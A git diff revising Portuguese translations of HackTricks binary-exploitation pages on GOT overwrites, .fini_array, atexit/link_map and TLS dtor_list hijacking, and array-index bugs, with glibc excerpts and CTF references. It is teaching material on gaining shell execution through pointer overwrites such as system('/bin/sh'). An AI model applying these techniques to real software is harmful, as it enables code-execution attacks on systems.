(ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -19,19 +19,19 @@ Aprenda e pratique Hacking GCP: ) -Usando o GEF você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got: +Usando o GEF você pode **iniciar** uma sessão de **debugging** e executar **`got`** para ver a tabela got: ![](<../../.gitbook/assets/image (496).png>) ### GOT2Exec -Em um binário, a GOT tem os **endereços das funções ou** da seção **PLT** que carregará o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada posteriormente **com** o **endereço** do PLT da função **`system`** por exemplo. +Em um binário, a GOT tem os **endereços para as funções ou** para a **seção PLT** que irá carregar o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função** **`system`** por exemplo. -Idealmente, você irá **substituir** a **GOT** de uma **função** que está **sendo chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system). +Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system). -Se o **`system`** **não for usado** pelo binário, a função system **não** terá uma entrada na PLT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para este endereço. +Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço. Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`** -## Entradas da GOT da libc +## entradas GOT da libc A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Funções comuns da libc vão chamar **outras funções internas** cuja GOT pode ser sobrescrita para obter execução de código. +Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código. -Encontre [**mais informações sobre essa técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Encontre [**mais informações sobre esta técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -Em CTFs de exploração de heap, é comum poder controlar o conteúdo de chunks e, em algum momento, até mesmo sobrescrever a tabela GOT. Um truque simples para obter RCE se um gadget não estiver disponível é sobrescrever o endereço GOT do `free` para apontar para `system` e escrever dentro de um chunk `"/bin/sh"`. Dessa forma, quando esse chunk for liberado, ele executará `system("/bin/sh")`. +Em explorações de heap em CTFs, é comum conseguir controlar o conteúdo de chunks e em algum momento até sobrescrever a tabela GOT. Um truque simples para obter RCE se gadgets não estiverem disponíveis é sobrescrever o endereço GOT de `free` para apontar para `system` e escrever dentro de um chunk `"/bin/sh"`. Dessa forma, quando esse chunk for liberado, ele executará `system("/bin/sh")`. ### **Strlen2system** -Outra técnica comum é sobrescrever o endereço **`strlen`** da GOT para apontar para **`system`**, então se esta função for chamada com entrada do usuário é possível passar a string `"/bin/sh"` e obter um shell. +Outra técnica comum é sobrescrever o endereço GOT de **`strlen`** para apontar para **`system`**, então se essa função for chamada com entrada do usuário, é possível passar a string `"/bin/sh"` e obter um shell. -Além disso, se `puts` for usado com entrada do usuário, é possível sobrescrever o endereço da `strlen` GOT para apontar para `system` e passar a string `"/bin/sh"` para obter um shell, pois **`puts` chamará `strlen` com a entrada do usuário**. +Além disso, se `puts` for usado com entrada do usuário, é possível sobrescrever o endereço GOT de `strlen` para apontar para `system` e passar a string `"/bin/sh"` para obter um shell porque **`puts` chamará `strlen` com a entrada do usuário**. ## **One Gadget** @@ -81,13 +81,14 @@ Além disso, se `puts` for usado com entrada do usuário, é possível sobrescre ## **Abusando da GOT do Heap** -Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para ser possível adicionar parte da tabela GOT ao fast bin, então sempre que esse chunk for alocado será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\ -Em seguida, apontar `free` para `system` e liberar um chunk onde foi escrito `/bin/sh\x00` executará um shell. +Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, assim sempre que esse chunk for alocado será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\ +Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/bin/sh\x00` executará um shell. É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.** + ## **Proteções** -A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica, resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** depois disso: +A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso: {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} [relro.md](../common-binary-protections-and-bypasses/relro.md) @@ -99,16 +100,16 @@ A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index dd7f6364b..b4d24825f 100644 --- a/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -1,16 +1,16 @@ # WWW2Exec - .dtors & .fini\_array {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -18,26 +18,26 @@ Aprenda e pratique Hacking no GCP: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97784b42b..87219e06c 100644 --- a/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,42 +1,42 @@ -# WWW2Exec - atexit(), Armazenamento TLS e Outros Ponteiros Manipulados +# WWW2Exec - atexit(), Armazenamento TLS & Outros Ponteiros Emaranhados {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## **Estruturas \_\_atexit** +## **\_\_atexit Estruturas** {% hint style="danger" %} -Atualmente é muito **estranho explorar isso!** +Hoje em dia é muito **estranho explorar isso!** {% endhint %} -**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ +**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\ -Atualmente os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e finalmente o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\ -A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. +Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64\_86**.\ +A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. -Você pode encontrar uma explicação detalhada de como isso funciona em [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +Você pode encontrar uma explicação detalhada sobre como isso funciona em [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) ## link\_map -Como explicado [**neste post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Se o programa sair usando `return` ou `exit()` ele executará `__run_exit_handlers()` que chamará os destruidores registrados. +Como explicado [**neste post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), se o programa sair usando `return` ou `exit()`, ele executará `__run_exit_handlers()`, que chamará os destrutores registrados. {% hint style="danger" %} -Se o programa sair via **função `_exit()`**, ele chamará a **chamada de sistema `exit`** e os manipuladores de saída não serão executados. Portanto, para confirmar se `__run_exit_handlers()` é executado, você pode definir um breakpoint nele. +Se o programa sair pela função **`_exit()`**, ele chamará a **syscall `exit`** e os manipuladores de saída não serão executados. Portanto, para confirmar que `__run_exit_handlers()` é executado, você pode definir um ponto de interrupção nele. {% endhint %} -O código importante é ([fonte](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +O código importante é ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) @@ -59,14 +59,14 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` -Observe como `map -> l_addr + fini_array -> d_un.d_ptr` é usado para **calcular** a posição do **array de funções a serem chamadas**. +Note como `map -> l_addr + fini_array -> d_un.d_ptr` é usado para **calcular** a posição do **array de funções a serem chamadas**. -Existem **algumas opções**: +Existem algumas **opções**: -* Sobrescrever o valor de `map->l_addr` para fazê-lo apontar para um **`fini_array` falso** com instruções para executar código arbitrário -* Sobrescrever as entradas `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (que são mais ou menos consecutivas na memória), para fazer com que elas **apontem para uma estrutura `Elf64_Dyn` forjada** que fará novamente **`array` apontar para uma zona de memória** controlada pelo atacante. -* [**Este artigo**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescreve `l_info[DT_FINI_ARRAY]` com o endereço de uma memória controlada em `.bss` contendo um `fini_array` falso. Este array falso contém **primeiro um** [**endereço de one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) que será executado e então a **diferença** entre o endereço deste **array falso** e o **valor de `map->l_addr`** para que `*array` aponte para o array falso. -* De acordo com a postagem principal desta técnica e [**este artigo**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so deixa um ponteiro na pilha que aponta para o `link_map` binário em ld.so. Com uma escrita arbitrária é possível sobrescrevê-lo e fazê-lo apontar para um `fini_array` falso controlado pelo atacante com o endereço de um [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por exemplo. +* Sobrescrever o valor de `map->l_addr` para fazê-lo apontar para um **falso `fini_array`** com instruções para executar código arbitrário +* Sobrescrever as entradas `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (que são mais ou menos consecutivas na memória), para fazê-las **apontar para uma estrutura `Elf64_Dyn` forjada** que fará novamente **`array` apontar para uma zona de memória** controlada pelo atacante. +* [**Este writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescreve `l_info[DT_FINI_ARRAY]` com o endereço de uma memória controlada em `.bss` contendo um falso `fini_array`. Este array falso contém **primeiro um** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **endereço** que será executado e então a **diferença** entre o endereço deste **array falso** e o **valor de `map->l_addr`** para que `*array` aponte para o array falso. +* De acordo com o post principal desta técnica e [**este writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deixa um ponteiro na pilha que aponta para o `link_map` binário em ld.so. Com uma escrita arbitrária, é possível sobrescrevê-lo e fazê-lo apontar para um falso `fini_array` controlado pelo atacante com o endereço de um [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por exemplo. Seguindo o código anterior, você pode encontrar outra seção interessante com o código: ```c @@ -76,11 +76,11 @@ if (fini != NULL) DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` -Neste caso, seria possível sobrescrever o valor de `map->l_info[DT_FINI]` apontando para uma estrutura `ElfW(Dyn)` forjada. Encontre [**mais informações aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +Neste caso, seria possível sobrescrever o valor de `map->l_info[DT_FINI]` apontando para uma estrutura `ElfW(Dyn)` forjada. Encontre [**mais informações aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure). -## Sobrescrevendo a lista dtor\_list de TLS-Storage em **`__run_exit_handlers`** +## Sobrescrita de dtor\_list de TLS-Storage em **`__run_exit_handlers`** -Conforme [**explicado aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), se um programa encerra via `return` ou `exit()`, ele executará **`__run_exit_handlers()`** que chamará qualquer função de destruição registrada. +Como [**explicado aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), se um programa sair via `return` ou `exit()`, ele executará **`__run_exit_handlers()`**, que chamará qualquer função de destrutor registrada. Código de `_run_exit_handlers()`: ```c @@ -128,24 +128,24 @@ func (cur->obj); } } ``` -Para cada função registrada em **`tls_dtor_list`**, ele irá desfazer a mangled do ponteiro de **`cur->func`** e chamá-lo com o argumento **`cur->obj`**. +Para cada função registrada em **`tls_dtor_list`**, ele irá desmanglar o ponteiro de **`cur->func`** e chamá-lo com o argumento **`cur->obj`**. -Usando a função **`tls`** deste [**fork do GEF**](https://github.com/bata24/gef), é possível ver que na verdade a **`dtor_list`** está muito **próxima** do **canário de pilha** e do **cookie PTR\_MANGLE**. Portanto, com um estouro nela, seria possível **sobrescrever** o **cookie** e o **canário de pilha**.\ -Sobrescrevendo o cookie PTR\_MANGLE, seria possível **burlar a função `PTR_DEMANLE`** definindo-o como 0x00, o que significa que o **`xor`** usado para obter o endereço real é apenas o endereço configurado. Em seguida, escrevendo na **`dtor_list`**, é possível **encadear várias funções** com o endereço da função e seu **argumento**. +Usando a função **`tls`** deste [**fork do GEF**](https://github.com/bata24/gef), é possível ver que na verdade a **`dtor_list`** está muito **perto** do **stack canary** e do **PTR_MANGLE cookie**. Assim, com um overflow nela, seria possível **sobrescrever** o **cookie** e o **stack canary**.\ +Sobrescrevendo o PTR_MANGLE cookie, seria possível **burlar a função `PTR_DEMANLE`** configurando-o para 0x00, o que significa que o **`xor`** usado para obter o endereço real é apenas o endereço configurado. Então, ao escrever na **`dtor_list`**, é possível **encadear várias funções** com o **endereço** da função e seu **argumento**. -Por fim, observe que o ponteiro armazenado não apenas será xorado com o cookie, mas também rotacionado 17 bits: +Finalmente, note que o ponteiro armazenado não será apenas xorado com o cookie, mas também rotacionado 17 bits: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` -Portanto, você precisa levar isso em consideração antes de adicionar um novo endereço. +Então você precisa levar isso em consideração antes de adicionar um novo endereço. -Encontre um exemplo no [**post original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite). +Encontre um exemplo na [**postagem original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite). ## Outros ponteiros corrompidos em **`__run_exit_handlers`** -Essa técnica é [**explicada aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) e depende novamente do programa **sair chamando `return` ou `exit()`** para que **`__run_exit_handlers()`** seja chamado. +Esta técnica é [**explicada aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) e depende novamente do programa **sair chamando `return` ou `exit()`** para que **`__run_exit_handlers()`** seja chamado. Vamos verificar mais código desta função: ```c @@ -228,14 +228,27 @@ free (cur); __libc_lock_unlock (__exit_funcs_lock); ``` -A variável `f` aponta para a estrutura **`initial`** e dependendo do valor de `f->flavor`, diferentes funções serão chamadas. - -Dependendo do valor, o endereço da função a ser chamada estará em um local diferente, mas sempre será **desembaralhado**. +A variável `f` aponta para a estrutura **`initial`** e, dependendo do valor de `f->flavor`, diferentes funções serão chamadas.\ +Dependendo do valor, o endereço da função a ser chamada estará em um lugar diferente, mas sempre estará **demangled**. Além disso, nas opções **`ef_on`** e **`ef_cxa`**, também é possível controlar um **argumento**. -É possível verificar a estrutura **`initial`** em uma sessão de depuração com o GEF executando **`gef> p initial`**. - -Para abusar disso, você precisa vazar ou apagar o **cookie `PTR_MANGLE`** e então sobrescrever uma entrada `cxa` em initial com `system('/bin/sh')`. +É possível verificar a **estrutura `initial`** em uma sessão de depuração com GEF executando **`gef> p initial`**. +Para abusar disso, você precisa **vazar ou apagar o `PTR_MANGLE`cookie** e então sobrescrever uma entrada `cxa` em initial com `system('/bin/sh')`.\ Você pode encontrar um exemplo disso no [**post original do blog sobre a técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/binary-exploitation/array-indexing.md b/binary-exploitation/array-indexing.md index d6480461d..3a79c4320 100644 --- a/binary-exploitation/array-indexing.md +++ b/binary-exploitation/array-indexing.md @@ -1,4 +1,4 @@ -# Indexação de Arrays +# Indexação de Array {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -6,26 +6,26 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. {% endhint %} ## Informações Básicas -Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível sobrescrever certos dados através de erros no tratamento de índices em arrays. É uma categoria muito ampla sem uma metodologia específica, pois o mecanismo de exploração depende completamente das condições da vulnerabilidade. +Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível sobrescrever certos dados através de erros no manuseio de índices em arrays. É uma categoria muito ampla, sem uma metodologia específica, pois o mecanismo de exploração depende completamente das condições da vulnerabilidade. -No entanto, aqui você pode encontrar alguns bons **exemplos**: +No entanto, aqui você pode encontrar alguns **exemplos**: * [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html) -* Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e outro com os **tamanhos** desses dados. É possível sobrescrever um a partir do outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e então sobrescrevê-lo com o endereço para `system`, e chamar free a partir de uma memória com `/bin/sh`. +* Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e um com os **tamanhos** desses dados. É possível sobrescrever um pelo outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e, em seguida, sobrescrevê-lo com o endereço para `system`, e chamar free de uma memória com `/bin/sh`. * [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html) -* 64 bits, sem nx. Sobrescreva um tamanho para obter uma espécie de estouro de buffer onde tudo será usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em consideração que o canário não deve ser movido de sua posição e finalmente sobrescrevendo o RIP com um endereço 